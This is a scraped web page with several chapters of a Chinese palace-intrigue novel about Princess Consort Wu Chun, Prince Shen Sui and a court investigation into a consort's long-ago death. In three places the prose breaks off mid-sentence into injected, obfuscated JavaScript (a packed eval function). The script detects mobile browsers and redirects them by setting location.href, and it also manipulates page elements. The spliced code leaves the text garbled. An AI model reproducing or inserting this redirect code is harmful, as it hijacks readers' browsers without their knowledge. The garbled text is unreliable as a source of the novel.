他从椅子上踉跄着下来,跪倒在地,惊醒了半阖着眼的沈璎,“你醒了!” 沈璎过去搀扶他,双手伸出的时候,萧怀文如触火焰似的往后一缩,“卑职夜宿丽姝宫,冒犯公主殿下,罪该万死。” 说完僵硬地弯腰,以额触地,当额头即将点地之时,沈璎喝道:“萧怀文!” 萧怀文顿住,沈璎寻到了机会将他扶起来,到底是伤得重,沈璎一个弱女子也能将他扶起来。 他生得高大,即便是跪着,沈璎只需弯些腰,就同他一般高。 沈璎俯身,眼眶泛着薄红,深吸一口气后,带了几分试探,捏紧了袖子,问:“你喜欢我吗?” “公主窈窕无双,风姿绝世,性子软中带刚,上至陛下,下至婢女,宫中人恐怕没有不喜欢公主的。卑职自然也是如此。”他的头低了下去,看见沈璎赤足站在地上,玉足小巧,脚趾玲珑,指甲盖还染了嫣粉的蔻丹。 于是挪开视线。 “你知道我问的不是这个。”沈璎紧紧盯着他。 萧怀文咽下喉间甜腥,“卑职不敢对公主有非分之想。” “是不敢,还是没有?” 她非要追问到底。 萧怀文沉声道:“不敢,亦没有。” 沈璎袖中的手渐渐收紧,又松了去,像是有密密麻麻的针扎在心里般酸涩,她沉默,看着萧怀文的眼里却有风暴在呼喊,萧怀文心脏猛地一抽,别过头去。 恰在此时,外面传来一声通报。 “萧将军可醒了,外面三殿下有事相告。” 两人同时回过神来。 “让三哥等等,萧将军刚刚苏醒,很快就去见他。” 婢女出去通报。 沈璎脸色不大好看,“完了,被三哥发现了……” “三殿下发现什么了?” “昨日你伤得太重,我便求了嫂嫂来丽姝宫帮你治伤,嫂嫂在我这里睡了一宿,早晨方回去,按照三哥那看嫂嫂跟看眼珠子似的性子,肯定要恼怒,这是来丽姝宫寻你问罪了……” 萧怀文道:“殿下莫要担心,我会向三殿下如实禀告,只要坦诚以待,说不定三殿下会稍加宽恕。” 萧怀文见到沈绥后,跪在他面前,对着他先磕了三个头。 饶是沈绥敏锐,也想不到萧怀文在沈璎殿里睡了一晚上,眉头微蹙,却没有扶萧怀文的意思,“这是怎么了?” 萧怀文将前因后果交代一番。 沉默片刻后,沈绥忍下跳动的额角青筋,问:“你伤的是哪儿?” “回殿下的话,卑职受了军棍,伤的自然是……” 话未说完,沈绥一脚踹到他胸口,萧怀文被踹得猛烈咳嗽,沈绥尤不解气,又踹了一脚,萧怀文登时咳出几点血星子。 萧怀文再木楞,也反应过来沈绥原先是不知道这件事的,现在恼怒恐怕也是因为皇子妃为他治伤,该看的不该看的都看了,于是咳嗽着安慰道:“殿下莫要恼怒,三皇子妃身为医者,眼中本无男女,能够为卑职治伤,说明三皇子妃心胸坦荡,大方磊落,且不计身份,可见其良善美德。” 他说乌春的好,沈绥却越听越刺耳,“从前本宫不觉得你能言善道,今日说了这么多话,依本宫看,不如不说。” 用得着他夸赞乌春?这良善美德不要也罢! 沈绥双拳紧握,但他终究不是个满心里都是情爱之事的人,今日来是有正事,隐忍半晌道:“你手底下的人能入当年关谢阮阮的冷宫罢?” 开始步入正题,萧怀文支撑着站起来,道:“自然是能的。虽明面上不大容易,但宫中办事,手段多得是。” 沈绥于是将自己的筹划说给萧怀文听。 萧怀文神色渐渐凝重,末了道:“此事确实蹊跷,若能在冷宫查出些什么,自然是极好的,请殿下放心,卑职自会全力以赴。” 沈绥回到毓宁宫,一路上都脸色阴沉。 出现在逢春殿门口的时候,乌春上来迎接,笑容甜得发腻,“哟,夫君回来了!” 她笑得灿烂,像是娇花舒展开艳红花瓣,似乎下一瞬就有暗香袭来。 沈绥想质问她昨夜的事,话又被她这个笑堵了回去,闷在心里,只有一声淡淡的“嗯”。 …… 薛尚仪来到毓宁宫的时候,先是见到沈绥,板正地行了一礼,然后瞥见乌春原来站的地方空空如也,心下登时明白了过来,一张脸便板了起来。 “三殿下固然宠爱正妃,但该有的规矩不可少。夜里翻墙宿丽姝宫,白日里当着宫人的面上树,竟是堂堂皇子正妃所为,成何体统!若不加以管教,恐怕日后愈发嚣张。” 沈绥眉目不冷也不热,恰到好处地保持着礼节,给足了这位尚仪面子,“尚仪说得是,但爱妃身娇体弱,你让她在这日头下站三个时辰,是否有些强人所难,若是她无事倒还好,若是她有事,因此害了病,罪责该落在谁的头上?” “三皇子妃总该因此长些教训,否则永远记不住规矩,本官也是为了她好,既然作为皇子正妃,就该成为大梁女子和南疆女子的表率,贤良淑德、恪守礼节,方有大家闺秀之姿。” 一席话说得沈绥原本还算平和的脸色冷了下来,一双剑眉也不自觉蹙起,冷笑道:“但薛尚仪有没有想过,你罚的是本宫的人,凡事自然要问过本宫的意见,本宫若是不允,你断没有罚她的道理。” 奈何薛尚仪压根不吃他这一套,不容置喙,“三殿下贵为皇子,在宫中一日,也是要守规矩的,这般袒护,恐怕也有失规矩,说得好听叫宠爱妻子,说得不好听叫偏袒徇私!” 沈绥冷道:“本宫就算偏袒又如何?本宫的爱妃,何时轮到你苛责了。” 薛尚仪见他油盐不进,连表面礼节都懒得装,一时沉怒,“三殿下若是执意要袒护,倒是有一个法子。毕竟是三皇子妃有错在先,这责罚无论如何是不能免的,既然三皇子妃不可罚,那三殿下不如代三皇子妃受过?” 旁边的下人听了,不由大骇,敢这么明目张胆说要罚三殿下的人,除了先前陈皇后,那就只剩下这位尚仪了! 好大的胆子! 沈绥眸色清浅冰冷,让人想到松叶上的堆积的薄薄的雪,他沉默半晌,薛尚仪就笔直地站了半晌,绝不让步。 似乎连天边灼烈的阳光都被冻住。 “好。尚仪要怎么罚?” 清冷的嗓音响起来的时候,旁边有个低着头的太监差点没摔到地上。 三殿下会代皇子妃受过? 三殿下会愿意受薛尚仪的责罚? 三殿下真的答应了! 薛尚仪道:“三殿下不愧为天家血脉,知礼守法。三皇子妃的责罚是头顶水碗站三个时辰,责罚是死物,本官不更改,三殿下的责罚就同三皇子妃一样罢。” 于是,接下来的三个时辰之中,沈绥披散了头发,顶着一只水碗,站在毓宁宫的宫墙下。 他站得笔挺,身后拉下长长的一条影子。 乌春知道这件事后,从逢春殿推开窗子,刚好看见沈绥,她忍不住“噗嗤”一声笑,恰恰对上沈绥望过来的视线,乌春脸上的笑像是一戳即散的泡沫消失得无踪,她紧紧咬着牙,抿着唇,才不让嘴角抽搐。 然后嘴角下拉,秀眉蹙起,作出一副心疼沈绥至极的模样。 沈绥一看就知道她又在糊弄他,于是将眼神移开。 乌春关上窗子。 却忽然想到,先前尚宫奉了陈皇后的命来抽沈绥,没多久那尚宫就死了,从旁人视角看,尚宫死得莫名其妙,但从乌春的视角看,那不明摆着是沈绥弄的吗?! 沈绥此人睚眦必报。 他今日受此罪责,不会是已经想好了要弄死薛尚仪吧? 这可万万使不得! 薛尚仪虽然性子古板无趣,奉礼教为神,但在皇宫这地方,这样的人并不罕见,乃至于整个大梁都有不少,尤其是那些高门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乌春觉得突然,下意识将手贴在他胸膛,本欲推拒,但想起目的,手就只好放在了他的胸膛,衣下肌肉紧实,她指尖不自觉收了收。 听闻他喉间鼓出一声吞咽,乌春瞬间红了脸。 沈绥又捏住她的手,一边牙齿碾了碾她的唇,带着她的手贴在自己的心口。 有力的心跳急促,似乎顺着掌根一路传到她自己的胸膛,带得她的心脏也加速跳动。 乌春讨厌这种感觉。 这会让她想起前世。 也莫名不喜听见他急促的心跳。 于是抽回手,沈绥的手抓了虚空,指尖一蜷。 良久,两人方分离。 沈绥黑白分明的眼盯着乌春,“你来又是要求我些什么?” 乌春低下头,手指把玩起自己的头发,小声道:“其实殿下为我受罚,我心里过意不去,于是来了宣阳殿为您送食,这到底是我的过错,和旁人没关系,被薛尚仪发现了,也是我倒霉,我实在是自责。” “罚的是我,你高兴都来不及,自责?”沈绥一哂,“你是来要我别追究薛尚仪的。” 乌春轻轻点头。 他夹起一块红糖糍粑吃了,“若是薛尚仪罚我,我断然是要追究的;但若是薛尚仪罚你,我代你受罚,我便不会追究,更何况此事你不占理。” 这和陈皇后上次要尚宫抽他是两码事,上次不仅冤枉他,那鞭子一下下都落在他身上,乌春为他出头反被罚跪,沈绥怎么可能放过尚宫? 但薛尚仪罚的其实不算重,沈绥要护着乌春,代乌春受罚,其实也算是合情理。 沈绥要害人,还需得花些功夫,他也懒得害薛尚仪了。 “不过……”他调子一转,“薛尚仪的命就值这些吗?” 掀起眼皮看乌春,黑眸沉沉,如夜色下的深潭,大手握住她的腰一紧。 乌春心里微凉,“可我的癸水还未干净。” 他抬起下巴点了点,下巴对着的地方丰盈柔软,乌春咬牙切齿,解开系带,衣摆如藻荇柔柔落在地。 …… 翌日,乌春将交领捂得死紧,领口也高,遮了一半的脖子。 沈绥真是个疯子! 好在他答应了不会找薛尚仪的麻烦,薛尚仪就不会有事了。 阿贵来报:“娘娘,您上次吩咐的事情,奴才都照做了,您料事如神,工部侍郎将东西收下了。” “你做得不错,接下来静候一段时间。” 前世有桩和沈珙有关的案子。 沈珙在还未封王的时候,曾经协同工部主持过民间防洪大坝的修筑,因为近些年来,民间从未发过洪水灾难,所以很多人以为这大坝并没有多大用处,只是皇室用来表彰治理贤明的面子工程。 沈珙也是这么以为。 非但如此,他还生出些非分的心思,妄想从中捞取私利,于是买通了工部侍郎薛守德,偷工减料,换了批木头,约定事成之后二人五五分成。 但沈珙出尔反尔,事成之后只给了薛守德两成分利,因此和薛守德结下梁子,两个人素来有私仇,看不顺眼。 此事之后十个月,就有洪水爆发,大坝坍塌,大理寺卿李水仁和大理寺少卿江玄凝查明案子,将沈珙和薛守德做的事揭发,为此薛守德被贬为庶人,沈珙被停了大半年的职。 乌春就是要拿薛守德和沈珙之间那些龃龉来作文章。 薛守德为了些利益做下这等下作事,罪犯了,钱却也让沈珙骗了三成,可见此人又坏又蠢,最适合被旁人当成刀借去杀人。 而沈珙,本也不是什么干净的人,让他们两个斗,她坐收渔翁之利,岂不省下许多力气? 为何前世薛守德没被砍头? 薛守德还和皇帝沾点故。 多年前被谢家谢阮阮害死的贤妃,就是薛守德的姑姑。 今日沈绥走了,要离开帝都一段时间,乌春心里松了一大口气,解下来的一段时日都能自在了。 她得抓紧想办法逃出宫。 21. 伤 当年谢阮阮害死薛清音之后,就被打入冷宫,在冷宫之中没多久就病死了,之后是谢家举兵谋反不成,反被灭了全族。 沈绥直接前往贤妃的母族所在地,念州幺水城。 念州位于大梁以西,邻接西幽,时常有西幽人作乱。此处人烟稀少,找贤妃母族所在之地也就容易得多。 薛家当年只能算作贫寒一些的家族,薛清音的父亲薛成敬中了进士之后,薛清音入宫为妃,颇得圣上宠爱,整个薛家也有一段繁荣的时候,只不过因为薛清音的风头太盛,被谢阮阮加害,薛家长子又没什么作为,只有薛守德入了工部为官,薛家渐渐没落了。 当年侍奉贤妃的几个奴婢早已被打发走,沈绥和江玄凝一行人,从下人这一条线索搜查三日之后,找到了一个仍在念州幺水城的老嬷嬷。 薛清音死后,身边的贴身丫头木瑶被赏了点银两,回到家乡之后图安稳,就找了个猎户人家嫁了,如今已五十有六,面容因为常年操劳显得很苍老。 沈绥问了几句薛清音的旧事,上了年纪的老婆婆回忆起往昔,很快就有两行浊泪流了下来。 沈绥不为所动,手在袖子里动了动,掏出串着红线的两只银铃铛把玩,“薛清音的贴身丫头有三个,死了一个,杳无音讯一个,只有你还在幺水城,当年薛清音被谢阮阮害死,你这个当奴婢的,多少也知道些东西,还敢留在故地,不怕谢家的人灭口吗?” 木瑶泣道:“回大人的话,草民什么都不知道,无愧于心,为何要怕?娘娘死得冤屈,但草民敢对天发誓,对娘娘从来不曾有二心!” 沈绥冷笑一声,“你说薛清音死得冤屈?何处冤屈?你的意思是害死薛清音的另有其人?” 木瑶张了张口,忽然意识到说出的话里有漏洞,既然薛清音是被谢阮阮害死的,谢阮阮受到了惩罚,那薛清音的死就不算冤屈。 只有幕后之人未被查明,人们才会说一句“冤屈”! 沈绥唤道:“来人。” 木瑶惊恐地跪下来,“不,大人!草民只是一时口误,恕草民不敬,可草民还是要说,谢阮阮害死娘娘,真是罪该万死!” 沈绥的手一时重重在木桌上叩了一声,嗓音冷沉,“还愣着做什么?将人绑起来!用棉布将嘴堵住。” 江玄凝对木瑶道了声“失礼”,便有几个汉子将老婆婆捆起来。沈绥站起身,来到屋外,望向西边的隐没在云层之中的山丘。 片刻后,江玄凝出来,问:“殿下,何时审问?” “此处有刑具吗?” 江玄凝道:“是。但将一个五十多岁的老婆婆从幺水城带回大理寺,再用刑具审问,是否有些……” 沈绥摆摆手,“你观人,不当观其皮,当观其里。若她是穷凶极恶之人呢?这天下的是非之分,从来不是靠眼见所断定的。世人眼中的是非,未必是真正的是非。” 江玄凝行了一揖,“受教了。” “不好了!不好了!”里面急急忙忙跑出几个汉子,“殿下,您要我们堵她的嘴,防止她咬舌自尽,我们堵了,可谁知这老婆婆竟然趁机从袖中掏出把剪子,眼见捅我们不成,就一把扎了自己的脖子,现在……” “人已经死了。” 江玄凝皱眉,“这可如何是好?” 沈绥冷道:“果然,若是真问心无愧,何必在袖中藏把剪子,又何必自尽。” 江玄凝奇道:“您早就知道她袖子里有东西?” “猎户之家虽然不算贫困,但这种乡野人家做衣裳的习惯是省去多余的布料,宽大的袖袍既费钱又妨碍干活,是以他们的衣裳和我们的相比,袖子放量要少许多,要藏东西,需得时不时捏着袖角防止东西掉出来。” 沈绥将银铃铛收入袖中,“方才她紧紧捏着袖子,似是因为见到了我们而紧张,但她双臂却放平在腿上,似有重物在里,不得不压着。” 江玄凝赞道:“殿下果然聪慧。现在倒可以肯定,贤妃的死另有蹊跷。” “让仵作来证明她是自戕,记录下来,明日我们就回帝都,找工部侍郎薛守德。” 沈绥前去他在幺水城歇脚的客栈,江玄凝望着他的背影,先是觉得赞叹,后又慢慢从脚底升起一阵寒意。 三殿下早就知道木瑶袖子里有东西,却一直不说,逼出老婆婆用剪子自戕的一幕,是为了什么? 为了用一条活生生的人命,去肯定他的猜测。 她死的时候,他古井无波,仿佛早就见惯了死人的场景。 太冷血了。 分明是夏日,江玄凝却倒吸一口凉气。 …… 天有不测。 沈绥在返回帝都的路上,遇见了西幽人突袭。 但好在一行人会武,沈绥未受重伤,只被一支箭堪堪擦过手臂,拉了条口子。 没想到的是,三日之后,沈绥手臂上的伤口开始溃烂,竟然是箭上毒性发作,行至山野间,仵作找了草药来敷在沈绥的伤口上,却没有好转的迹象,只能加快脚程,在七日之后抵达帝都,找太医医治。 沈绥到帝都的时候,整条手臂已经不能动弹,手臂上蜿蜒着紫黑的纹路。 乌春听闻沈绥回帝都的消息后,叹了口气,“怎么回来得这么快,我的清闲日子还没过几天呢!” 玉梨道:“可是三殿下他受伤了,不得已才如此之快地赶回来。” 乌春淡淡应了一声,“哦,他命大,该是死不了的。” 惊莲小跑进来道:“殿下,外面传来三殿下的消息,说要您去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037396|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太医馆,去为三殿下医治!” …… 乌春来到太医馆。 只见沈绥坐在椅子上闭目养神,一张脸苍白如纸,下巴上多了些青色胡茬,衣裳褪去半幅,露出僵硬布满黑线的手臂。手臂上一条狰狞的伤口。 她一走近,沈绥就掀开眼,和她视线对上。 方太医道:“娘娘,殿下这毒蹊跷,虽不致命,却极其古怪,我等庸医正查阅卷宗,殿下吩咐要您来,或许南疆的医术可以派上用场。” 乌春道:“知道了。” 沈绥让太医先退下去。 乌春坐下来,看着沈绥的伤,眼也不眨,并没有寻常女子看见一点血就丢了半条命的模样,她捏过沈绥的手腕,却被沈绥反握住手。 他道:“你现在是装都不装了。” 他的手心有茧,摩挲着自己的皮肤,有种异样的酥痒感,乌春很快收回手,“殿下受着伤,还有心思打趣我,看来是伤得不够重,我也没必要来,既如此,我还是走好了。” 沈绥重新拽住乌春的手,动作大,牵扯到了伤口,他嘶了一声,乌春停住了动作。 他道:“你就是这样对你的夫君?” 乌春望着他的眼睛,平白地在他眼里瞧见了一丝疼的意味,她觉得刺眼,不由挪开了视线,低声道:“可伤的又不是我。” 沈绥从袖中取出一个盒子,递给乌春,嗓音带着几分疲惫,“念州的小玩意。你从前说过想要去天地间多看看山水风光,我便将念州的特色民间玩意小陶人带了回来,你拿着玩,就当是去过念州了。“ 乌春复又将视线落在沈绥面上。 这样一个男人,细致体贴起来的时候,倒真的叫她不习惯。 他都能记得她随口说出的一句话,为何记不得她几时过生辰? 前世她在他身边四年,他却只有一年生辰在她耳边,也从未对她说过“生辰快乐”。 乌春心里滋味杂陈,沈绥几声咳嗽将她的思绪唤了回来,“多谢殿下,难为殿下在外办公事还挂心我,我来替殿下瞧瞧伤吧。” 沈绥的伤说重不伤及性命,说轻却难以解开。 西幽和南疆也有接壤之地,西幽人有些毒术便是从南疆传过去的。 乌春沉思了半晌,写了几个草药递给太医,太医们议论一阵,又在上面加了几味药,先让沈绥用这个,若是没有效果再增删。 沈绥和乌春一同回到毓宁宫。 乌春也不好一个人回逢春殿,就跟沈绥一道入了宣阳殿,打算待沈绥歇下之后,再回逢春殿,只不过她忘了一件事,沈绥手臂不便,一路上沐浴都是找的客栈小厮。 现下回了宫,他揽过乌春的腰,在她耳边道:“今日爱妃与我一同沐浴,如何?” 22. 相像 数日不见,沈绥盯着乌春的眸子黑沉不见底,视线灼烫地落在她面上,像偶尔窜出些滚烫火星子的噼啪烛火一下下舔舐着,乌春心头倏地一跳,闪避开视线。 她甩开沈绥的手,又被沈绥勾回来。 “你还带着伤呢。” 有眼色的下人们都自觉地退了下去,一时宣阳殿前只剩下沈绥和乌春两人。 沈绥直直看了乌春几息后,俯身凑近她,低声问:“怎么?心疼我?” 低哑好听的嗓音像夏日无处不在的暖风,窜入乌春的耳内,勾起一阵酥麻。 乌春别过脸,“你少自作多情,太医很快就会送药来,你赶紧去沐浴。”乌春四下张望,“小福子……” 沈绥的面色冷了下去。 小福子跑过来,不敢看沈绥,对着乌春道:“奴才在。” “你去伺候殿下沐浴。” 小福子余光瞥了眼沈绥,见他唇角紧抿,并不愉悦,却没有要责罚皇子妃的意思,便壮着胆子,“是。” 乌春看也不看沈绥一眼,转身就走。 沈绥望着她在空中划出利落弧度的嫣粉裙摆,心里像是堵了团棉花似的,他不知道这是为何,只觉胸中泛着酸楚。 眼眸里渐渐浮现出几分冷戾,对太监冷喝道:“滚。” 小福子连滚带爬地退下了。 …… 方才在太医馆的时候,乌春其实有过刻意给沈绥开延迟药效的方子的念头。 她没法做到不恨这个人。 但转念一想,大梁太医又不是吃素的,若是看出来她故意要害沈绥反倒不好。 谨慎为妙。 惊莲捧着一个盒子,那是沈绥方才送的小玩意,试探着问,“殿下,这个应该放在何处?” 寻常人家的女子都是将夫君送的礼物收纳起来,或者放在显眼的地方。 乌春却道:“扔了吧,留着有何用?” “可殿下千里迢迢办公差,却还惦记着您,给您带东西,好歹也是一份情意,真要扔了吗……” 乌春道:“……我之前送……”她顿了顿,想起什么似的,“罢了,还是扔吧。我不想和这个人再有多余的牵连,他的东西我不想要。” 本来想说前世送过沈绥许多东西,也没见他珍视过什么,如今沈绥送她东西,她有什么道理珍惜?转而一想,惊莲又不知道她是重生,便不再多说。 “是。” “对了,薛守德那边怎么样了?” 惊莲道:“回殿下,薛守德此人果然心地又坏又蠢。阿贵照您的吩咐,托关系找了几个汉子扮做蒙面黑衣人,夜里进入薛守德的宅邸,以生死蛊要挟,劫去百两银子之后,又刻意出纰漏将蛊翁留下。那薛守德不仅没有报官,反而四处打听生死蛊的消息,一直将其养在宅内。” “八成是想着用此蛊加害仇家。” 乌春点点头,“盯紧点。” 不该问的,惊莲不会多问,应了声之后便退下了。 几日之后,沈绥手臂上的黑线黯淡了些,但依旧不能自如活动,听闻大理寺传来消息,已经将木瑶自戕一事记录在案,并且找到了工部侍郎薛守德问话,问出来贤妃当年的为人、习惯等,一一记录。 晨露熹微,东方刚刚泛起鱼肚白。 沈绥在逢春殿外站了片刻后,将开了一条缝的窗子拉开,里面守夜的丫头立刻惊醒,刚要对着沈绥行礼,沈绥比了个噤声的手势。 他轻轻进入殿中。 乌春正在酣眠。她睡相并不规矩,夏天里盖的是薄衾,胡乱横在身上,又露了一条腿在外面,半截修长纤细的小腿白得晃眼,想来是因为热,连里衣都不穿,只着件小衣。 睫毛长而翘,两把小弯刀似的,静谧地投下一层薄薄的阴影。 沈绥在乌春身边坐下。 他觉得她简直能把他逼疯。 他不想她醒过来,看见他这幅没出息的模样; 又想她醒过来,想看她若是知道他临走前还来守她片刻,会有何等反应…… 可最终,他忍了又忍,只是将一条红线缠在乌春的手腕上。 指腹不舍地在柔软的肌肤上流连片刻,才收了回去。 沈绥起身离去,走出几步又折回来,对那丫头道:“别告诉她我来过。” …… 沈绥来到大理寺,简单看了看薛守德的口供。 薛守德当年为官受过不少薛清音的照拂,就算此人在朝中的名声向来并不怎么好,也不至于说一个死去的亲姑姑的坏话。 况且薛守德年幼的时候,因为丧父,曾经和母亲一道投奔祖父,也和薛清音在一个大宅里生活过,薛清音读过不少诗书,教过薛守德不少,因此姑侄二人感情不错。 沈绥要的不是薛守德对薛清音的溢美之词,要的是薛清音当年的名声,有没有仇敌,如若没有,那么害死她的只可能是后宫中人。 谢阮阮入宫比薛清音晚。 薛清音当年备受宠爱,死的时候也是沈瑜尤其宠爱她的时候,谢阮阮一个入宫不多久的不算最受宠的妃子,怎么可能害得了薛清音? 薛守德平日里偶尔会见到大理寺官员,但在官场上见和在大理寺中见,怎能一样?早就吓得舌头也捋不直,话也说不清楚,更别提有什么逻辑,沈绥听着就皱眉,让薛守德走了。 另寻了几个人跟紧薛守德,这是薛家现今活着的唯一能跟案子有关的人,不能马虎。 薛守德平日行事算得上谨慎安分,但他栽到了一个“色”字头上。 “禀殿下,薛守德有些流氓行径,总在傍晚或者夜间骚扰成将军府上成二姑娘,将军府上下不胜烦扰,成将军已经打算找人打折薛守德的腿了。殿下,您说要注意薛守德的安危,那要不要同成将军打个招呼,要他手下留情?” 沈绥并不关心薛守德,只漠然道:“成将军?也罢,我今日去一趟成将军府。” 与此同时,逢春殿。 乌春也听说了成将军要找人打折薛守德的腿的消息。 “成将军府上成二姑娘?是那个庶出的成静仪吗?” “正是。” 成统将军有一妻一妾,正室所出的是大姑娘成昭扬,妾室所出的便是成静仪了。听说这成家两姑娘,一动一静,大姑娘性子跋扈娇纵,在帝都也是出了名的小霸王,许多贵公子们都怕她怕得紧,生怕哪天家里定亲定到了成大姑娘。 成二姑娘性子娴静温柔,除了样貌清秀出尘、性子讨喜些之外,处处都被姐姐压了一头,琴棋书画样样平平无奇。 成统将军的妾室去得早,成静仪在成家无所依仗,全靠着温顺乖巧的性子讨父亲喜爱,不争不抢,让姐姐和嫡母寻不到由头找麻烦。 乌春之所以知道这么多,是因为前世成静仪嫁给了大皇子沈珩,做了泽安王正妃,此事还引起了帝都一阵哗然。 一个不受宠的将军府庶女,竟然能嫁给泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049474|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安王! 乌春前世在宫宴上和成静仪打过几次照面,只觉得此人性格贤淑,待身边人都颇为亲和,举手投足皆有大家闺秀之风,是大梁书香门第才能养出来的贵族小姐。 跟她这个南疆来的粗蛮之人相比,完全是两方天地的人。 乌春跟她自然不熟。 细细想来,她们的关系还有些尴尬,也就没必要熟络。 成静仪日后是要嫁给沈珩的,现在若是被薛守德毁了名声,总归不太好。 “惊莲,你去找阿贵,让他找人制住薛守德,恐吓也好威逼也罢,别让他再去找成二姑娘的麻烦。” 乌春倒不怕对成静仪不好,是怕对沈珩不好。 沈珩帮过她,她倒也不介意顺手还个人情。 …… 沈绥是在夜里到达将军府的。 他屏退了其余人,和成统对坐在堂屋内。 几点烛火燃烧着,被染得橘黄的窗户纸上映出两个人的身影。 夜色俱寂,皓月高悬,两个人的声音低弱,若不是在他们身侧,恐怕听不到他们在说些什么,分明是夏日夜里,将军府的院子里却莫名有一阵寒意。 “……听闻成将军近来颇受烦扰?将军辛苦,好不容易回帝都休憩段时日,又有登徒子觊觎令爱。”沈绥缓缓道。 成统叹了口气,“家里两个丫头,大姑娘不让人省心,时常闹得府上鸡飞狗跳的,二姑娘倒是省心,却不知配谁家的儿郎是好。”转而眉毛倒竖,怒气冲冲,“薛守德那狗东西也敢想我家二姑娘,半夜里还敢翻将军府的墙!老子非得打断他的腿!” 沈绥倒是一贯地冷静,“将军莫急,薛守德面上胆大,实则是胆小怕事之人,只要稍稍逼他几次,他就不敢再犯了,将军何必伤人,省得日后落下把柄。” “殿下说得不错,夜里为了小女之事登门拜访,老夫实在有愧,这是一点小小的心意……”成统说着就掏出一个木匣子递给沈绥。 匣子有两层,第一层装的是一对蓝雀金丝石榴纹发钗,第二层沈绥没打开。 沈绥笑:“多谢将军,本宫原先也不打算收将军的礼,但瞧着这发钗尤其适合我夫人,便收下了,日后再还礼答谢。” 又说了几句,沈绥将要起身离去,刚一推开门,外面忽然传来窸窣动静,沈绥护紧了匣子,警觉地一声低喝,“谁!” 只见月色之下,扶疏的花木之中,一女子跌倒在地,身着单薄的雪白衣裳,面貌精致清秀,因为惊吓,眼尾一点楚楚可怜的红,朱唇轻启,“爹……” 成统松了口气,疑道:“依依,你怎么在这里?” 原来是成二姑娘。 成静仪朝沈绥投来盈盈一眼,美人眼波盈盈,我见犹怜,因为摔倒露出了半截雪藕似的手臂,似乎是头一次见夜半三更还有人来将军府做客,对沈绥感到稀奇。 沈绥低下头,不去看成静仪,对成统道:“本宫便先告辞了,留在此处多有不便。” 沈绥一边走,一边听见背后成静仪对成统带了几分哭腔道:“爹,我近来晚上没有一日是睡得好的,夜里睡不着,便起来更衣,只觉今夜尤其难捱,遂在府中四下走动,越走越觉得遍体生寒,只有堂屋亮着灯,想来是爹爹还没有入睡,便想着来找爹爹……” 沈绥莫名觉得耳边成静仪断断续续的泣腔有些扰人,抬手捏了捏眉心。 方才那一眼,其实能看出来,成静仪跟乌春生得有三分相像。 23. 铜镜 这日天刚刚蒙蒙亮,东方尚且是蟹壳青。 乌春做了个很长的梦。 梦见许多年没见过的母亲琉氏,还有哥哥,他们带着她走过南疆开满雪白梨花的仲春山谷,哥哥背着竹篓,提着刚网好胡乱拍打尾巴的肥鱼,母亲牵着她的手,指着远方晕染了半边粉橙天的夕阳对她说,南疆的落日总是如此美丽。 不多久,她就看见母亲辗转于病床,她越来越瘦,越来越枯槁,像田地里吓唬鸟雀的稻草人。 那年母亲过生辰,她和哥哥偷偷溜出去为母亲带回来她最喜爱的零嘴,又买了不少玩意。 可琉氏到底没等来他们的生辰礼。 乌春和乌雷刚跑入殿中,就被告知了琉氏死去的消息。 琳琅的小玩意和吃食滚落了一地。 没多久,南疆王就娶了月氏,乌春在南疆王宫里的好日子也是从此时结束的。 直到看见月氏将一把刀架在乌雷脖子上,血溅三尺,乌春惊醒过来。 擦去额头的冷汗后,乌春唤来惊莲和玉梨,打算去拜访一下沈璎。 沈璎的禁足终于解开了,瞧见乌春来了,还很诧异,“嫂嫂怎么来了?” 乌春看了看四下,对沈璎道:“借一步说话。” 两人走入后院,屏退了一众下人,乌春将自己打算出宫的计划告诉沈璎,沈璎不禁瞪圆了眼,“原来嫂嫂竟有此等打算!那嫂嫂打算如何不让三哥发现呢?” 乌春悬着的一口气终于松了下来。 原本还很担心沈璎会义正言辞地阻止她,没想到沈璎竟对她想要逃离皇宫的心思颇为理解,乌春也就不避讳她些什么了。 “若是能疏通宫里的诸多关卡,一路通行,并且出了宫之后,也有人接应,不愁路线、不愁车马,事情就容易得多了。” 沈璎沉思了片刻,“这确实有些难办,我也没有熟识的人能做到这些,我这段时日就差遣些下人去找帝都中有些交集的贵族小姐,说不定她们有人脉筹集车马。” “多谢公主,但此事还是低调为妙。” 乌春的心又凉了下去,能做到疏通宫中关卡的,其实还有萧怀文,但沈璎却对他只字不提,可见两人的关系不好捉摸,她也就没法求萧怀文帮忙,就连沈璎如今与她熟稔,也是她拼着一腔孤勇为刘贵妃查银镯案换来的。 外面传来一声通报,“公主殿下,二殿下的请柬递来了。” 乌春忽然想起来,沈珙下月中生辰,摆宴延请诸多皇族贵胄参加。此人行事向来张扬,宴席也是帝都数一数二的奢侈高调,前世过生辰的时候,包下了帝都最有名的销金窟吟风楼一整座楼不说,还摆了三天流水席。 沈璎瘪瘪嘴,“其实我不大想去,但不能不给二哥面子。” 乌春笑道:“我陪你去,二殿下这般招摇,定是要请三殿下前去的,届时我们还能做个伴。” 只是沈璎莫名觉得,乌春的笑容,不太良善。 …… 